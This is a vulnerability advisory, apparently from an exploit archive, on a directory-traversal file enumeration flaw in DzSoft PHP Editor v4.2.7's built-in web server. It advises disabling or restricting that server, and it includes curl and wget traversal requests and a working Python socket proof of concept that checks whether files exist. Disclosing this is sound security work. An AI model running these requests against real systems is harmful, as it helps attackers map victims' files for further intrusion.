DzSoft PHP Editor v4.2.7 File Enumeration

DzSoft PHP Editor v4.2.7 is vulnerable to file enumeration attacks when combining "HEAD" method HTTP requests with directory traversal "../../" type attacks. This can aid attackers in information gathering (File enumeration) to help in possibly furthering attacks.

Mitigation:

Disable the built-in web server or restrict access to it.

Product:
=========================
DzSoft PHP Editor v4.2.7

DzSoft PHP Editor is a tool for writing and testing PHP and HTML pages.



Vulnerability Type:
====================
File Enumeration




CVE Reference:
==============
N/A

 

Security Issue:
================
DzSoft comes with a built-in web server used to preview PHP files, the built-in web server is prone to file enumeration
attacks when combining "HEAD" method HTTP requests with directory traversal "\../../" type attacks. This can aid attackers
in information gathering (File enumeration) to help in possibly furthering attacks.

On install DzSoft users get Windows network warning like:

"Allow Dzsoft to communicate on these networks:"

Private networks, such as my home or work network

Public networks, such as those in airports and coffee shops (not recommended).

This selection will create Firewall rule and determine remote connections allowed to DzSoft editors built-in server.
Then when remote user make HTTP request to DzSoft they will get HTTP 403 Forbidden from the built-in web server. 

e.g.

curl  -v "http://VICTIM-IP/\../mysql/data/mysql.pid"


< HTTP/1.1 403 Forbidden
< Content-Type: text/html
< Content-Length: 1554

<H1>Forbidden</H1>
<p>For security reasons, you cannot access the built-in web server of DzSoft PHP Editor from another computer.</p>
<p>If you see this message within DzSoft PHP Editor's window, or if you think that there might be reasons to enable access from other computers,
</BODY>

* Connection #0 to host x.x.x.x left intact



However, this 403 Forbidden access control can be bypassed by malicious users to "stat" files in and outside the webroot.

e.g. mysql directory.

File enumeration Conditions: 

These setting is found under Run / Run Options / Paramaters tab

a) DZSoft built-in web server is running 
b) DZSoft built-in web servers "REMOTE_HOST=x.x.x.x" and "REMOTE_ADDR=x.x.x.x" is set to a real IP other than localhost.

For POC create and save a PHP file under XAMPP/htdocs and run DzSoft built-in web server in preview mode.

Next make request for "mysql/my-huge.ini" to see if exists.

Next, target files on C:\ Drive.

Bypass 401 Forbidden to enumerate a file on C:\ drive named "hi.txt"
wget "http://127.0.0.1:8088/c/hi.txt"  -c --header="Range: bytes=0"



Exploit/POC:
=============
In DZSoft PHP Editor

1) Change DzSoft web server options for remote address to IP other than localhost.
2) Create test PHP file deploy under xampp/htdocs or whatever Apache your using.
3) Start DzSofts built-in webserver to preview PHP file 

Then,


import socket

print 'DzSoft File Enumeration POC'
print 'Hyp3rlinx / ApparitionSec'

IP=raw_input("[IP]>")
PORT=int(raw_input("[PORT]>"))
DEPTH=int(raw_input("[DEPTH]>"))
FILE=raw_input("[FILE]>")
ENUM="HEAD "+"/\\"
ENUM+="../"*DEPTH+FILE+ " HTTP/1.0\r\n\r\n"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,PORT))
s.send(ENUM)
print 'Enumerating file:'
print ENUM
output = s.recv(128)
print output
s.close()
